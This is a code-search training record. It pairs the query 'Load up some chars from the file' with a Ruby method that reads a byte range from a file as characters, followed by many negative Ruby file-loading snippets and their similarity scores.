byte_size(); @data.byte_size + 4; end", "def is_compressed?\n bit_set?(COMPRESSED_FLAG_BIT)\n end", "def uncompressed_size\n @header.size\n end", "def compressed_file_size\n return @compressed_file_size\n end", "def set_compression(compression)\n puts \"Setting compression to #{compression}\" if $verbose\n c='CP'+(('000'+compression.to_s)[-3..-1])+';'\n puts c if $verbose\n ret=send_cmd(c,'CP;',c,0.5,1.5,3)\n if(ret)\n return(ret.gsub(/^CP/,'').gsub(/;$/,'').to_i)\n else\n return(nil)\n end\nend", "def compression\n type = configuration[:copy_compression] || :gzip\n case type\n when :gzip, :gz then Compression.new(\"tar.gz\", %w(tar czf), %w(tar xzf))\n when :bzip2, :bz2 then Compression.new(\"tar.bz2\", %w(tar cjf), %w(tar xjf))\n when :zip then Compression.new(\"zip\", %w(zip -qr), %w(unzip -q))\n else raise ArgumentError, \"invalid compression type #{type.inspect}\"\n end\n end", "def full_decompressed_length(compressed)\n total_length = 0\n min_length = compressed.length\n weights = [1] * min_length\n i = 0\n\n while i < min_length\n # noinspection RubyResolve\n if compressed[i].eql? '('\n length, times = compressed.slice(i .. -1).match(/\\((\\d+)x(\\d+)\\)/).captures\n marker_end = i + 3 + length.length + times.length\n length = length.to_i\n times = times.to_i\n\n (marker_end ... marker_end + length).each do |j|\n weights[j] *= times\n end\n\n i = marker_end\n else\n total_length += weights[i]\n i += 1\n end\n end\n\n total_length\n end", "def encode_content str\n str = ::Zlib.gzip str if @gzip\n str = ::Zlib.deflate str if @deflate\n str\n end", "def compression\n instance.options[:compression]\n end", "def compression\n instance.options[:compression]\n end", "def accept_gzip?\n return if @ext__veto_gzip\n @ext__recv_gzip\n end", "def compress\n compressed_data = @compressor.deflate @data\n JSON.dump({:version => Ripple::Compression::VERSION, :data => Base64.encode64(compressed_data)})\n end", "def compression_extension\n case compression\n when :gzip, :gz then \"tar.gz\"\n when :bzip2, :bz2 then \"tar.bz2\"\n when :zip then \"zip\"\n else raise ArgumentError, \"invalid compression type #{compression.inspect}\"\n end\n end", "def data_len_bytes()\n 1\n end", "def compress\n return if request.skip_compression?\n return if response.body.length < 2.kilobytes\n accepts = request.env['HTTP_ACCEPT_ENCODING']\n return unless accepts && accepts =~ /(x-gzip|gzip)/\n encoding = $1\n compressed = ActiveSupport::Gzip.compress(response.body)\n if compressed.length < response.body.length\n response.body = compressed\n response.headers['Content-Encoding'] = encoding\n end\n end", "def header_length() 3 end", "def inflate(data); end", "def encode_compressed(string)\n self.encode(Zlib::Deflate.deflate(string))\n end", "def compression\n @j_del.isCompressionSupported\n end", "def compress \n accepts = request.env['HTTP_ACCEPT_ENCODING'] \n return unless accepts && accepts =~ /(x-gzip|gzip)/ \n\n encoding = $1 \n output = StringIO.new \n\n def output.close # Zlib does a close. Bad Zlib... \n rewind \n end \n\n gz = Zlib::GzipWriter.new(output) \n gz.write(response.body) \n gz.close \n\n if output.length < response.body.length \n response.body = output.string \n response.headers['Content-encoding'] = encoding\n end \n end", "def testing_compression?\n compression_enabled? && op_msg_enabled?\nend", "def content_encoding_gunzip(body_io); end", "def compressed_size\n @inflater.closed? ? @compressed_size : @inflater.total_in\n end", "def decompress(infile)\n compressed_data = File.binread(infile)\n ii = 5\n uncompressed_data = ''\n\n while ii < compressed_data.length - 5 and uncompressed_data.length < 24576\n c = compressed_data[ii]\n ii = ii + 1\n\n # Run Length Encoded data\n if c.ord == 0xff \n # Get the length\n count_hi = compressed_data[ii].ord\n ii = ii + 1\n count_lo = compressed_data[ii].ord\n ii = ii + 1\n count = (count_hi << 8) + count_lo\n\n # Get the repeating byte\n c = compressed_data[ii]\n ii = ii + 1\n\n # Write out the repeating character\n while count > 0\n count = count - 1\n uncompressed_data << c\n end\n\n # Uncompressed data\n else\n uncompressed_data << c\n end\n end\n\n return uncompressed_data\nend", "def add_compression_type(opts = {})\n @compression_type = opts[:compression_type] || @compression_type\n opts.delete(:compression_type)\n end", "def data_len_bytes()\n 2\n end", "def data_len_bytes()\n 2\n end", "def data_len_bytes()\n 2\n end", "def compress(data)\n reset\n\n # In block mode, we track compression ratio\n @checkpoint = nil\n @last_ratio = nil\n @bytes_in = 0\n\n seen = ''\n @next_increase = 2**@code_size\n\n data.each_byte do |byte|\n char = byte.chr\n @bytes_in += 1\n\n if @code_table.has_key?(seen + char)\n seen << char\n else\n write_code(@code_table[seen])\n\n new_code(seen + char)\n\n check_ratio_at_cap\n\n seen = char\n end\n end\n\n write_code(@code_table[seen])\n\n @buf.field\n end", "def compression_was_achieved\n return compression_ratio() < 1\n end", "def read_data(fp, size)\n result = \"\"\n z = Zlib::Inflate.new\n start = fp.tell\n while result.size < size && !z.stream_end?\n result += z.inflate(fp.read(1))\n end\n # final bytes... can't predict this yet though it's usually 5 bytes\n while !fp.eof?\n begin\n result += z.finish\n break\n rescue Zlib::BufError\n result += z.inflate(fp.read(1))\n end\n end\n z.close\n result\n end", "def compress(file)\n if File.file?(file) # file file file file\n content = File.read(file)\n zipped = Zlib::Deflate.deflate(content)\n puts \"Compressed '#{File.basename(file)}' : #{content.size - zipped.size} bytes smaller than original\"\n return zipped\n else\n return false\n end\n end", "def rtfdecompr data\n\t\t\tio = StringIO.new data\n\t\t\tbuf = RTF_PREBUF + \"\\x00\" * (4096 - RTF_PREBUF.length)\n\t\t\twp = RTF_PREBUF.length\n\t\t\trtf = ''\n\n\t\t\t# get header fields (as defined in RTFLIB.H)\n\t\t\tcompr_size, uncompr_size, magic, crc32 = io.read(16).unpack 'V*'\n\t\t\t#warn \"compressed-RTF data size mismatch\" unless io.size == data.compr_size + 4\n\n\t\t\t# process the data\n\t\t\tcase magic\n\t\t\twhen 0x414c454d # \"MELA\" magic number that identifies the stream as a uncompressed stream\n\t\t\t\trtf = io.read uncompr_size\n\t\t\twhen 0x75465a4c # \"LZFu\" magic number that identifies the stream as a compressed stream\n\t\t\t\tflag_count = -1\n\t\t\t\tflags = nil\n\t\t\t\twhile rtf.length < uncompr_size and !io.eof?\n\t\t\t\t\t# each flag byte flags 8 literals/references, 1 per bit\n\t\t\t\t\tflags = ((flag_count += 1) % 8 == 0) ? io.getbyte : flags >> 1\n\t\t\t\t\tif 1 == (flags & 1) # each flag bit is 1 for reference, 0 for literal\n\t\t\t\t\t\trp, l = io.getbyte, io.getbyte\n\t\t\t\t\t\t# offset is a 12 byte number. 2^12 is 4096, so thats fine\n\t\t\t\t\t\trp = (rp << 4) | (l >> 4) # the offset relative to block start\n\t\t\t\t\t\tl = (l & 0xf) + 2 # the number of bytes to copy\n\t\t\t\t\t\tl.times do\n\t\t\t\t\t\t\trtf << buf[wp] = buf[rp]\n\t\t\t\t\t\t\twp = (wp + 1) % 4096\n\t\t\t\t\t\t\trp = (rp + 1) % 4096\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\trtf << buf[wp] = io.getbyte.chr\n\t\t\t\t\t\twp = (wp + 1) % 4096\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse # unknown magic number\n\t\t\t\traise \"Unknown compression type (magic number 0x%08x)\" % magic\n\t\t\tend\n\t\t\t\n\t\t\t# not sure if its due to a bug in the above code. doesn't seem to be\n\t\t\t# in my tests, but sometimes there's a trailing null. we chomp it here,\n\t\t\t# which actually makes the resultant rtf smaller than its advertised\n\t\t\t# size (+uncompr_size+).\n\t\t\trtf.chomp! 0.chr\n\t\t\trtf\n\t\tend", "def compression_setup!(machine, options)\n if !options[:compression_type]\n if machine.guest.capability_host_chain.first[0] == :windows\n options[:compression_type] = :zip\n else\n options[:compression_type] = :tgz\n end\n end\n if !VALID_COMPRESS_TYPES.include?(options[:compression_type])\n raise Vagrant::Errors::UploadInvalidCompressionType,\n type: options[:compression_type],\n valid_types: VALID_COMPRESS_TYPES.join(\", \")\n end\n options[:decompression_method] = \"decompress_#{options[:compression_type]}\".to_sym\n if !machine.guest.capability?(options[:decompression_method])\n raise Vagrant::Errors::UploadMissingExtractCapability,\n type: options[:compression_type]\n end\n end", "def gzip(str)\n IO.popen('gzip -f', 'r+') do |i|\n i.puts str\n i.close_write\n return i.read\n end\nend", "def compressors\n uri_options[:compressors]\n end", "def accept_gzip!\n return if @ext__veto_gzip\n if !@ext__recv_gzip\n send_frame Settings.frame_from({Settings::ACCEPT_GZIPPED_DATA => 1})\n @ext__recv_gzip = true\n end\n end", "def compression=(bool); @store.compression = bool; end", "def tgz___( directory, filename )\r\n raise StandardError, \"Under investigation\" \r\n got = @ndev.rpc.file_archive( :destination => filename, :source => directory, :compress => true )\r\n end", "def uncompressed_size\n @deflater.closed? ? @uncompressed_size : @deflater.total_in\n end", "def compression_mode\n mediainfo.audio.compression_mode\n end", "def length\n pack.length\n end", "def compress(txt)\n case @method\n when METHOD_BZ2 : (BZ2::Writer.new << txt).flush\n when METHOD_ZLIB : Zlib::Deflate.new.deflate(txt, Zlib::FINISH) \n end\n end" ]
[ "0.75652003", "0.7453638", "0.7453638", "0.7440101", "0.72507614", "0.72428846", "0.7148686", "0.7057147", "0.70392585", "0.6931968", "0.6845821", "0.682849", "0.68223125", "0.6750421", "0.6686679", "0.66749305", "0.6472168", "0.6441768", "0.64168423", "0.63894504", "0.63775045", "0.6376866", "0.6375346", "0.6374284", "0.6357726", "0.6323459", "0.6306576", "0.6306576", "0.62958914", "0.6286855", "0.6256057", "0.62317157", "0.6222491", "0.6208083", "0.62044215", "0.6198849", "0.6195579", "0.61306846", "0.6121632", "0.61147404", "0.6113269", "0.60726535", "0.60587984", "0.60557103", "0.60440207", "0.6043719", "0.6033078", "0.5937944", "0.5933301", "0.5926469", "0.58807206", "0.5872312", "0.5869445", "0.586762", "0.5864414", "0.5864156", "0.5856846", "0.5855394", "0.5821893", "0.582118", "0.5812053", "0.5805031", "0.5804325", "0.57955325", "0.57856536", "0.576854", "0.57674813", "0.57674813", "0.57674587", "0.57591975", "0.5749407", "0.5707525", "0.56979764", "0.56976986", "0.5694446", "0.5686523", "0.56856936", "0.56491506", "0.56474113", "0.5634607", "0.56266814", "0.5597765", "0.5594904", "0.55892664", "0.55891395", "0.55891395", "0.5587346", "0.55847424", "0.5579849", "0.55553013", "0.5542246", "0.55137825", "0.5508045", "0.5506604", "0.5492021", "0.54854876", "0.5483924", "0.5459569", "0.54566693", "0.5454551", "0.54490596" ]
0.0
-1
=============================================== Don't load everything into memory, that's crazy
def bytes(range) range = (range..range) if range.is_a?(Integer) file = File.open(@file_path, 'rb') file.pos = range.first _bytes = [] range.size.times do _bytes << file.readbyte end file.close _bytes end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_all; end", "def load_all; end", "def load_all; end", "def load; end", "def load; end", "def load; end", "def load!; end", "def load\r\n \r\n end", "def memos; end", "def memos; end", "def preload; end", "def preload; end", "def in_memory\n []\n end", "def in_memory\n []\n end", "def dematerialize ; end", "def loader; end", "def in_memory\n []\n end", "def load\n end", "def load\n end", "def load_all\n @internal_loader.load_all(self)\n end", "def eager_load!; end", "def eager_load!; end", "def eager_load!; end", "def eager_load!; end", "def loaded()\n end", "def load\n end", "def load\n flush\n replay\n end", "def in_memory\n {}\n end", "def eager_load; end", "def eager_load; end", "def eager_load; end", "def in_memory\n {}\n end", "def in_memory\n {}\n end", "def in_memory\n {}\n end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def prepareForReuse; end", "def load_cache\n a = dataset.all\n h = {}\n a.each{|o| h[o.pk.freeze] = o.freeze}\n @all = a.freeze\n @cache = h.freeze\n end", "def load_all\n thread_local_store.load_all\n self\n end", "def post_load(all_records)\n end", "def reloader; end", "def reloader; end", "def doFastLoad(search=nil)\n t1 = Time.new\n db = PropertyDatabase.new\n workaround = true\n lir = workaround || loadIR(search)\n if(lir)\n t2 = Time.new\n workaround || QmlIrToRuby.new(lir)\n t3 = Time.new\n mw = Qml::MainWindow.new(db)\n #mw = Qml::ZynResOptions.new(db)\n t4 = Time.new\n puts \"Time for a fast load is #{1000*(t4-t1)}ms load(#{1000*(t2-t1)}) class(#{1000*(t3-t2)}) spawn(#{1000*(t4-t3)})...\"\n db.force_update\n #puts db\n return mw\n else\n return nil\n end\n #TODO make this rescue only capture missing file issues\nrescue Exception=>e\n puts e\n e.backtrace.each do |ln|\n puts ln\n end\n nil\nend", "def preload!\n end", "def loadAll()\n # Load the configuration from global.rb\n SHAREDPOOLS.each_key do |k|\n p = Pool.new(k, SHAREDPOOLS[k][:zone],\n SHAREDPOOLS[k][:allocateable_cpus],\n SHAREDPOOLS[k][:allocateable_mem],\n SHAREDPOOLS[k][:service_class])\n\n @poolList.push(p)\n end\n SERVICES.each_key do |k|\n s = Service.new(k, SERVICES[k][:authinfo],\n SERVICES[k][:maxcpus],\n SERVICES[k][:maxmemory],\n SERVICES[k][:priority])\n @svcList.push(s)\n end\n # Load the requests from redis\n @reqList = $eventProcessor.loadRequests()\n # Compute the free/used stats from state of requests\n @reqList.each { |req|\n if req.status == \"ALLOCATED\"\n pmatches = @poolList.select {|p| p.name == req.pool}\n if pmatches == nil || pmatches[0] == nil\n $Logger.error \"Unable to find pool #{req.pool} for ALLOCATED request #{req.reqid}\"\n next\n end\n smatches = @svcList.select {|s| s.name == req.service}\n if smatches == nil || smatches[0] == nil\n $Logger.error \"Unable to find service #{req.service} for ALLOCATED request #{req.reqid}\"\n next\n end\n pool = pmatches[0]\n pool.availvcpus = pool.availvcpus.to_i - req.vcpus.to_i\n pool.availmem = pool.availmem.to_i - req.mem.to_i\n service = smatches[0]\n service.vcpusallocated = service.vcpusallocated.to_i + req.vcpus.to_i\n service.memallocated = service.memallocated.to_i + req.mem.to_i\n end\n }\n end", "def load(objects)\n self.records = (objects || []).map { |object| new(object) }\n self.loaded = true\n self\n end", "def populate_memory\n File.foreach(@file_name) do |line|\n @memory[@memory_counter] = line.chomp\n @memory_counter += 1\n\n @done = true if @memory_counter > 255\n end\n end", "def begin_load\n load_stack.push(true)\n end", "def import_map_chunks\n puts 'Importing map chunks...'\n\n puts \"-> Identifying tiled maps...\"\n\n tiled_maps = Map.target(target).where(tiled: true).all\n\n tiled_maps.each do |map|\n next if map.chunks_loaded?\n\n puts \"-> Seeding chunks for map: #{map.name} (#{map.directory})\"\n\n map.tiles.extant.each do |tile|\n next if tile.chunks_loaded?\n\n tile_adt_path = \"#{map_path_for(map.directory)}/#{map.directory}_#{tile.tile_x}_#{tile.tile_y}.adt\"\n tile_adt_hash = file_hash(tile_adt_path)\n\n seed_map_tile_adt(map, tile, tile_adt_path)\n\n GC.start\n end\n end\n end", "def load_scraped_objects\n {}.tap do |objects|\n @store.read_multi(@store.entries).each do |properties|\n object = load_scraped_object(properties)\n objects[object._id] = object\n end\n end\n end", "def preload=(_); end", "def preload=(_); end", "def initialize\n load_data\n end", "def load_map\n @load_map ||= {}\n end", "def preload_data\n @file.seek(0)\n @contents = StringIO.new(@file.read)\n @file.close\n end", "def post_hard_load(mod); end", "def load_cache\n @load_cache\n end", "def load\n\t\t\t\t0\n\t\t\tend", "def load_all\n load_cache\n\n module_names.each do |module_name|\n mod = find_class_or_module(module_name) || load_class(module_name)\n\n # load method documentation since the loaded class/module does not have\n # it\n loaded_methods = mod.method_list.map do |method|\n load_method module_name, method.full_name\n end\n\n mod.method_list.replace loaded_methods\n\n loaded_attributes = mod.attributes.map do |attribute|\n load_method module_name, attribute.full_name\n end\n\n mod.attributes.replace loaded_attributes\n end\n\n all_classes_and_modules.each do |mod|\n descendent_re = /^#{mod.full_name}::[^:]+$/\n\n module_names.each do |name|\n next unless name =~ descendent_re\n\n descendent = find_class_or_module name\n\n case descendent\n when RDoc::NormalClass then\n mod.classes_hash[name] = descendent\n when RDoc::NormalModule then\n mod.modules_hash[name] = descendent\n end\n end\n end\n\n @cache[:pages].each do |page_name|\n page = load_page page_name\n @files_hash[page_name] = page\n @text_files_hash[page_name] = page if page.text?\n end\n end", "def load_objects\n instance_variable_set(\"@#{instance_variable_name}\", current_objects)\n end", "def load(data)\n end", "def load\n end", "def load\n end", "def load\n end", "def cache_classes; end", "def cache_classes; end", "def load_all_from_files\n\t\tload_hash_from_file($searched, $progDir+'searched.txt')\n\t\tload_hash_from_file($downloaded, $progDir+'downloaded.txt')\n\t\tload_array_from_file($toSearch, $progDir+'toSearch.txt')\n\t\tload_array_from_file($toDownload, $progDir+'toDownload.txt')\n\trescue => e\n\t\t$error.save_error_to_file(__method__, e, $specialErrorTxt)\n\tend", "def autorestore; end", "def pausable; end", "def load\n self.class.load self # pass the loading off to the class\n end", "def load_from_file_cache(file)\n puts \"loading stuff from #{file}\"\n File.open(file, 'r') do |input|\n Marshal.load(input.read)\n end\n end", "def _load(dump)\n self.contents = dump\n end", "def load_poke_front(flush_it = false)\n if flush_it\n @poke_front_cache.each { |cache_tab| dispose_bitmaps_from_cache_tab(cache_tab) }\n else\n @poke_front_cache = Array.new(Pokedex_PokeFront_Path.size) { {} }\n @poke_front_data = [\n Yuki::VD.new(PSDK_PATH + '/master/poke_front', :read),\n Yuki::VD.new(PSDK_PATH + '/master/poke_front_s', :read)\n ]\n end\n end", "def garbage_collect\n end", "def garbage_collect\n end", "def circular_loading_kludge\n Rails.application.eager_load!\n # CfsFile\n # CfsDirectory\n # FileGroup\n # BitLevelFileGroup\n # Collection\n # FileExtension\n # FixityCheckResult\n end", "def load(files = T.unsafe(nil), reparse = T.unsafe(nil)); end", "def after_initialize\n @loaded = Set.new\n end", "def before_eager_load(&block); end", "def reload!\n @sources.each {|k,s,v| do_load_source(k,s,v)}\n end", "def test_load_0\n\n map = {}\n\n @engine.register_participant(\"count\") do |workitem|\n count = map[workitem.flow_id]\n count = unless count\n 1\n else\n count + 1\n end\n map[workitem.flow_id] = count\n end\n\n n = 1000\n\n n.times do |i|\n li = LaunchItem.new(TestDefinition0)\n li.flow_id = i\n @engine.launch(li)\n end\n\n #while @engine.get_expression_storage.size > 1\n # sleep 0.001\n #end\n @engine.join_until_idle\n\n good = true\n\n n.times do |i|\n c = map[i]\n if c == 2\n #if c == 1\n print \".\"\n else\n print c\n good = false\n end\n end\n\n #puts \"\\n__good ? #{good}\"\n assert good, \"missing count\"\n\n # 100 in 1s (in memory engine)\n # 1'000 in 14s (in memory engine)\n # 10'000 in 143s (in memory engine)\n # 1'000 in 31s (cache engine)\n # 10'000 in 321s (cache engine)\n # 1'000 in 113s (persistence only engine)\n # 10'000 in 1173s (persistence only engine)\n #\n #\n # ruby 1.8.5 (2006-12-25 patchlevel 12) [i686-darwin8.8.3]\n #\n # Machine Name: Mac\n # Machine Model: MacBook2,1\n # Processor Name: Intel Core 2 Duo\n # Processor Speed: 2 GHz\n # Number Of Processors: 1\n # Total Number Of Cores: 2\n # L2 Cache (per processor): 4 MB\n # Memory: 2 GB\n # Bus Speed: 667 MHz\n\n # Thu Sep 13 15:38:46 JST 2007\n #\n # 100 in 3s (in memory engine)\n # 1'000 in 85s (in memory engine)\n # 10'000 in s (in memory engine)\n end", "def data_load\r\n unless $data_actors\r\n $data_actors = _clean_name_utf8(load_data(\"Data/Actors.rxdata\"))\r\n $data_classes = _clean_name_utf8(load_data(\"Data/Classes.rxdata\"))\r\n $data_enemies = _clean_name_utf8(load_data(\"Data/Enemies.rxdata\"))\r\n $data_troops = _clean_name_utf8(load_data(\"Data/Troops.rxdata\"))\r\n $data_tilesets = _clean_name_utf8(load_data(\"Data/Tilesets.rxdata\"))\r\n $data_common_events = _clean_name_utf8(load_data(\"Data/CommonEvents.rxdata\"))\r\n $data_system = load_data_utf8(\"Data/System.rxdata\")\r\n end\r\n $game_system = Game_System.new\r\n $game_temp = Game_Temp.new\r\n end", "def cache\n Dir.chdir( @location ) do\n #prime unless File.file?('0.yml')\n primer = YAML::load(File.new('0.yml'))\n @recordkeys = primer.keys\n @structclass = Struct.new(*@recordkeys)\n recs = Dir.glob('*.yml')\n recs.each do |f|\n data = YAML::load(File.new(f))\n @records[f.to_i] = struct(data)\n end\n end\n @next_index = index.last.to_i + 1\n end", "def load_all(include_players = false, game_objects = nil)\n log \"Loading all game objects...may take a while.\"\n files = {}\n objects = []\n game_objects ||= Gary.new\n\n log \"Grabbing all the goids...\"\n\n #Get which goids are in which files, so we can pull them out.\n\n open_store \"goids\" do |gd|\n gd.each_pair do |k,v|\n if files[v].nil?\n files[v] = [k]\n else\n files[v] << k\n end\n end\n end\n\n #Don't want to load players, unless specified that we do\n files.delete(Player) unless include_players\n\n #Load each object.\n files.each do |type, ids|\n open_store type do |gd|\n ids.each do |id|\n object = Marshal.load(gd[id])\n log \"Loaded #{object}\", Logger::Ultimate\n unless object.nil? or (not include_players and object.is_a? Player)\n\n object.rehydrate(nil)\n\n game_objects << object\n objects << object\n end\n end\n end\n end\n\n log \"Loading inventories and equipment...\"\n #Setup inventory and equipment for each one.\n objects.each do |obj|\n load_inv(obj, game_objects)\n load_equipment(obj, game_objects)\n end\n log \"...done loading inventories and equipment.\"\n\n return game_objects\n end", "def load_used_phrases\n\t@used_phrases = load_collection_from_file(@phrase_file_name, {});\nend", "def load_data\n raise NotImplementedError\n end", "def load_data\n\t\tload_using_arr(train_file,train_hash,0,1)\n\t\tload_using_arr(train_file,movie_hash,1,0)\n\tend", "def preload\n entries\n collections.each &:preload\n nil\n end", "def ignorable_objects\n\t\t[]\n\tend", "def load_poke_back(flush_it = false)\n if flush_it\n @poke_back_cache.each { |cache_tab| dispose_bitmaps_from_cache_tab(cache_tab) }\n else\n @poke_back_cache = Array.new(Pokedex_PokeBack_Path.size) { {} }\n @poke_back_data = [\n Yuki::VD.new(PSDK_PATH + '/master/poke_back', :read),\n Yuki::VD.new(PSDK_PATH + '/master/poke_back_s', :read)\n ]\n end\n end", "def memoize_all; CurrentParser[:memoize]=:all; end", "def restore; end", "def loadall\n autoloader.loadall\n end", "def load(&_block)\n nil\n end", "def load_tables\n tables = @table_ast.keys\n tables.each {|table|\n columns = Hash.new\n column_names = @table_ast[table].keys\n rows = @dbh.execute(\"SELECT * FROM #{table}\")\n @mem_db_row[table] = rows\n column_names.each {|col|\n col_data = Array.new\n rows.each {|data|\n col_data.push(data[col])\n }\n columns[col] = col_data\n }\n @mem_db_col[table] = columns\n }\n return @mem_db_col, @mem_db_row\n end", "def set_up_local_data\n Player.deserialize_from_file('players.dat')\n Game.deserialize_from_file('games.dat')\n Performance.deserialize_from_file('performance.dat')\n end" ]
[ "0.71519357", "0.71519357", "0.71519357", "0.6810302", "0.6810302", "0.6810302", "0.67248523", "0.64359254", "0.63906217", "0.63906217", "0.62049955", "0.62049955", "0.6193855", "0.6193855", "0.6137165", "0.6092359", "0.6076829", "0.6067026", "0.6067026", "0.6052227", "0.6040112", "0.6040112", "0.6040112", "0.6040112", "0.6029675", "0.6024455", "0.6001274", "0.593917", "0.59132004", "0.59132004", "0.59132004", "0.5816711", "0.5816711", "0.5816711", "0.58047754", "0.58047754", "0.58047754", "0.58047754", "0.58047754", "0.58047754", "0.58047754", "0.5788882", "0.57879245", "0.5780831", "0.57718647", "0.5765104", "0.5765104", "0.575932", "0.5733418", "0.5692422", "0.5692186", "0.56885594", "0.56819373", "0.5679567", "0.56760675", "0.566811", "0.566811", "0.5645066", "0.5640095", "0.56367266", "0.5606656", "0.56043494", "0.5599528", "0.55970377", "0.55928427", "0.5583676", "0.5579184", "0.5579184", "0.5579184", "0.5575274", "0.5575274", "0.55714756", "0.55593014", "0.554746", "0.5547231", "0.5540948", "0.5539777", "0.55379206", "0.5530407", "0.5530407", "0.5529514", "0.55261797", "0.5525573", "0.5525212", "0.55248666", "0.5524723", "0.55049115", "0.54875916", "0.54838747", "0.54816365", "0.5480025", "0.5478029", "0.5474466", "0.5473185", "0.54652923", "0.5458304", "0.54582536", "0.5457889", "0.5456351", "0.54557234", "0.5451303" ]
0.0
-1
Load up some chars from the file
def chars(range) range = (range..range) if range.is_a?(Integer) file = File.open(@file_path, 'r') file.pos = range.first _chars = "" loop do _chars << file.readchar break if file.pos >= range.last end file.close _chars end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def from_file(file)\n file_lines_array = File.readlines(file)\n file_characters_array = []\n file_lines_array.each do |line|\n file_characters_array << line\n end\n file_characters_array.map! do |character|\n character = @dictionary[character]\n end\n morse_code = file_characters_array.join(\"\")\n puts morse_code\n end", "def load_character account, filename\n end", "def pbGetFileChar(file)\n file = canonicalize(file)\n if !safeExists?(\"./Game.rgssad\") && !safeExists?(\"./Game.rgss2a\")\n return nil if !safeExists?(file)\n begin\n File.open(file,\"rb\") { |f| return f.read(1) } # read one byte\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n return nil\n end\n end\n Marshal.neverload = true\n str = nil\n begin\n str = load_data(file)\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES, RGSSError\n str = nil\n ensure\n Marshal.neverload = false\n end\n return str\nend", "def read_characters()\n readfile = File.read(\"characters.json\")\n return JSON.parse(readfile)\nend", "def pbGetFileChar(file)\n file=canonicalize(file)\n if !(safeExists?(\"./Game.rgssad\") || safeExists?(\"./Game.rgss2a\"))\n return nil if !safeExists?(file)\n begin\n File.open(file,\"rb\"){|f|\n return f.read(1) # read one byte\n }\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES\n return nil\n end\n end\n Marshal.neverload=true\n str=nil\n begin\n str=load_data(file)\n rescue Errno::ENOENT, Errno::EINVAL, Errno::EACCES, RGSSError\n str=nil\n ensure\n Marshal.neverload=false\n end\n return str\nend", "def character(filename, _hue = 0)\n load_image(@character_cache, filename, Characters_Path, @character_data)\n end", "def readfile(path, opt={})\n if File.readable?(path)\n bin = File.read(path).utf8!\n [bin, bin.former_enc ||'ascii-8bit' ]\n else\n raise ArgumentError.new(\"File is not readable!\")\n end\n end", "def load_file(file); end", "def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend", "def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend", "def read_data(file_name)\r\n file = File.open(file_name,\"r\")\r\n object = eval(file.gets.untaint.encode('UTF-8', :invalid => :replace))\r\n file.close()\r\n return object\r\nend", "def file_load(file)\n\t\tresult = \"\"\n\t\tFile.open(file.to_s, 'r') do |f|\n\t\t\twhile l = f.gets \n\t\t\t\tresult << l\n\t\t\tend\n\t\tend\n\t\tresult\n\tend", "def load_english_a\n File.open(\"test/test_files/english_a.txt\", \"r\").read\n end", "def load_file(path)\n load_string(File.binread(path))\n end", "def load_file(filename); end", "def load_file(filename); end", "def read_chr\n @file.getc unless @file.eof?\n end", "def load(file); end", "def load!(file)\n bytes = file.split(/\\W+/).map { |code| code.to_i }\n code_start = 4\n code_end = bytes[0] + code_start # header is 4 ints long\n global_size = bytes[1]\n str_size = bytes[2]\n\n @code = bytes[code_start...code_end]\n @data[global_size, str_size] = bytes[code_end, str_size]\n\n return @code\n end", "def from_file!(input_file)\r\n File.open(input_file, \"rb:UTF-16LE\") do |file|\r\n @number_of_strings = file.read(4).unpack('I').first\r\n @offset_to_strings = file.read(4).unpack('I').first\r\n\r\n @number_of_strings.times do\r\n file.seek(4, File::SEEK_CUR)\r\n offset = file.read(4).unpack('I').first\r\n old_offset = file.pos\r\n\r\n file.pos = @offset_to_strings + offset\r\n strings << file.gets(UTF_16_NULL).chop.encode(\"UTF-8\") + LOCSTR_END_OF_LINE \r\n\r\n file.pos = old_offset\r\n end\r\n end\r\n end", "def load_file(path)\n file_array = IO.readlines(path)\n file_array.map {|element| element.chomp}\nend", "def read_data(file_name)\n file = File.open(file_name,\"r\")\n object = eval(file.gets.untaint.encode('UTF-8', :invalid => :replace, :replace => '').gsub('\\n', \"\"))\n file.close()\n return object\nend", "def decode_file\n # Open 'encoded' to read from\n File.open(\"encoded_#{original_datei}\",'r') { |fr|\n # Open 'decoded' to write to\n File.open(\"decoded_#{original_datei}\",'w') { |fw|\n fr.each_byte { |byte|\n # \"decode\" each byte and write to 'decoded'\n fw << encode(byte, -schluessel).chr\n }\n }\n }\n\n end", "def load_bin filename\n hibyte = 0 # Upper, actual byte, under read head.\n lobyte = 0 # Lower byte of the word.\n word = 0 # Readed word.\n origin = 0 # Origin, memory pointer (0o OOOO)\n field = 0 # Actual field in form (0o F0000)\n checksum = 0\n\n File.open filename do |f|\n\n # Tape must begin with LEADER marks (0b 1000 000). We must\n # skip all these, and read first byte before entering the main\n # reading loop.\n hibyte = 0200\n hibyte = f.readchar while hibyte == 0200\n\n # In 'endless' loop we interpret data on the paper tape.\n while true\n\n # We look into the byte and decide what is on the tape now.\n case hibyte >> 6\n\n when 0b00 # DATA, next byte contains lower 6 bits of the word.\n lobyte = f.readchar\n word = (hibyte << 6) | lobyte\n sum = lobyte + hibyte\n # Read the next byte because we need to know if it's\n # TRAILER or not.\n hibyte = f.readchar\n if hibyte != 0200 then\n @content[field | origin] = word\n origin = (origin +1) & 07777 # Advance origin by one.\n checksum += sum\n end\n next\n\n when 0b01 # ORIGIN, next byte contains lower 6 bits of origin.\n lobyte = f.readchar\n origin = ((hibyte & 0o77) << 6) | lobyte\n checksum += hibyte + lobyte\n\n when 0b10 # TRAILER marks the end of tape.\n # Last word written to memory is checksum. We must check\n # it and remove from memory.\n checksum &= 07777\n if checksum != word then\n puts \"BIN loader checksum error: computer=%0.4o, on tape=%0.4o\" % [checksum, word]\n exit\n end\n break\n\n when 0b11 # FIELD SETTING byte contains the filed number.\n field = (hibyte & 070) << 9\n end\n\n hibyte = f.readchar # Read the next byte.\n end\n end\n\n end", "def load\n begin\n @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { 